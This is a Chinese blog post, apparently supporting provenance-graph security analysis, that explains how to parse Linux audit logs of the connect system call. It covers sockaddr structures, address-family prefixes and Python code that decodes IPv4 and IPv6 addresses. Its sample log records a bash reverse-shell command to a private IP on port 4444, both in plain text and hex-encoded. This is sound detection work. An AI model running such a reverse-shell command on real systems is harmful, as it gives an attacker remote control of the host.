connect系统调用解析

日志

--- connect  /bin/bash -c bash -i >& /dev/tcp/192.168.253.132/4444 0>&1
type=SYSCALL msg=audit(1715087506.355:19840): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=5603fb05bfd0 a2=10 a3=0 items=0 ppid=10519 pid=10520 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/usr/bin/bash" subj=unconfined key="my_syscall_watch"ARCH=x86_64 SYSCALL=connect AUID="unset" UID="www-data" GID="www-data" EUID="www-data" SUID="www-data" FSUID="www-data" EGID="www-data" SGID="www-data" FSGID="www-data"
type=SOCKADDR msg=audit(1715087506.355:19840): saddr=0200115CC0A8FD840000000000000000SADDR={ saddr_fam=inet laddr=192.168.253.132 lport=4444 }
type=PROCTITLE msg=audit(1715087506.355:19840): proctitle=2F62696E2F62617368002D630062617368202D69203E26202F6465762F7463702F3139322E3136382E3235332E3133322F3434343420303E2631

分析

主要是涉及到fd的创建,进程中,fd与连接地址的绑定。

创建节点,连接边, WasGeneratedBy(artifact, process)

 

调用函数原型

进行connect的文件描述符类型主要有3种类型:

1.   基于 IPv4 , IPv6

(TCP) socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
     
(UDP) socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

都属于网络连接(ip:port)

2. 基于Unix 本地套接字

(IPC)socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
          socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
         socket.socket(socket.AF_UNIX, socket.SOCK_SEQPACKET)   
都是一个socket文件。如:'/tmp/socket_file'

connect 系统调用用于建立与远程套接字的连接。其原型通常如下:

#include <sys/socket.h> int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  • sockfd 是一个已创建并绑定到本地地址的套接字文件描述符。

  • addr 是一个指向 sockaddr 结构的指针,其中包含了要连接的远程套接字的地址信息。

  • addrlenaddr 结构的长度。

connect 函数返回值为:

  • 若连接成功建立,则返回 0。
  • 若出现错误,则返回 -1,并设置 errno 来指示错误的类型。

connect 系统调用用于建立与目标地址的连接。通过 sockfd 指定要连接的套接字,addr 和 addrlen 则指定了目标地址。这个系统调用将会阻塞直到连接建立成功或者出错。

connect 系统调用返回一个整数值,表示连接的状态。如果连接成功建立,则返回 0;如果连接失败,则返回 -1,

地址解析

sockaddr 是一个通用的套接字地址结构,用于表示各种类型的套接字地址,例如 IPv4、IPv6 等。它的结构如下:

struct sockaddr {
  sa_family_t sa_family; // 地址族,用于指定地址的类型
  char sa_data[14]; // 地址数据,实际地址信息的存储位置
};

前缀表示

 PROTOCOL_NAME_UDP = "udp",
PROTOCOL_NAME_TCP = "tcp";
IPV4_NETWORK_SOCKET_SADDR_PREFIX = "02";
IPV6_NETWORK_SOCKET_SADDR_PREFIX = "0A";
 UNIX_SOCKET_SADDR_PREFIX = "01";
NETLINK_SOCKET_SADDR_PREFIX = "10";
  • PROTOCOL_NAME_UDPPROTOCOL_NAME_TCP 是用于表示 UDP 和 TCP 协议名称的常量。

  • IPV4_NETWORK_SOCKET_SADDR_PREFIX 是用于表示 IPv4 网络套接字地址的前缀值,为 "02"

  • IPV6_NETWORK_SOCKET_SADDR_PREFIX 是用于表示 IPv6 网络套接字地址的前缀值,为 "0A"

  • UNIX_SOCKET_SADDR_PREFIX 是用于表示 UNIX 套接字地址的前缀值,为 "01"

  • NETLINK_SOCKET_SADDR_PREFIX 是用于表示 Netlink 套接字地址的前缀值,为 "10"

这些前缀值用于在处理套接字地址时识别地址类型,例如,根据前缀值的不同来判断套接字地址是 IPv4 地址、IPv6 地址、UNIX 地址还是 Netlink 地址。

 

为了解析 sockaddr 结构中的具体地址信息,通常会根据套接字地址的类型进行强制类型转换。例如,对于 IPv4 地址,可以将 sockaddr 结构转换为 sockaddr_in 结构。IPv4 的 sockaddr_in 结构如下:

struct sockaddr_in {
  sa_family_t sin_family; // 地址族,通常为 AF_INET
  in_port_t sin_port; // 16位端口号,网络字节序
  struct in_addr sin_addr; // 32位IPv4地址,网络字节序
  char sin_zero[8]; // 填充字节,保证与 sockaddr 结构大小一致
};

 

解析参数代码

def parse_saddr(saddr):
    address = None
    port = None

    if is_ipv4_saddr(saddr) and len(saddr) >= 17:
        # 解析端口号
        port = str(int(saddr[4:8], 16))

        # 解析IPv4地址
        oct1 = int(saddr[8:10], 16)
        oct2 = int(saddr[10:12], 16)
        oct3 = int(saddr[12:14], 16)
        oct4 = int(saddr[14:16], 16)
        address = "{}.{}.{}.{}".format(oct1, oct2, oct3, oct4)

    return address, port

def is_ipv4_saddr(saddr):
    return saddr.startswith("02")

# 示例saddr
saddr = "02000050B97DBE600000000000000000"
address, port = parse_saddr(saddr)
print("IPv4 Address:", address)
print("Port:", port)

输出为

IPv4 Address: 185.125.190.96
Port: 80

IPv6地址解析

    def parse_saddr_ipv6(cls,saddr):
        address = None
        port = None
        if  len(saddr) >= 49:
            port = str(int(saddr[4:8], 16))
            hextet1 = saddr[16:20]
            hextet2 = saddr[20:24]
            hextet3 = saddr[24:28]
            hextet4 = saddr[28:32]
            hextet5 = saddr[32:36]
            hextet6 = saddr[36:40]
            hextet7 = saddr[40:44]
            hextet8 = saddr[44:48]
            address = "{}:{}:{}:{}:{}:{}:{}:{}".format(hextet1, hextet2, hextet3, hextet4,
                                                       hextet5, hextet6, hextet7, hextet8)
        if address==None or port==None:
            return None,None
        return address, port

 

 

posted @ 2024-04-25 23:44  zzl14  阅读(91)  评论(0)    收藏  举报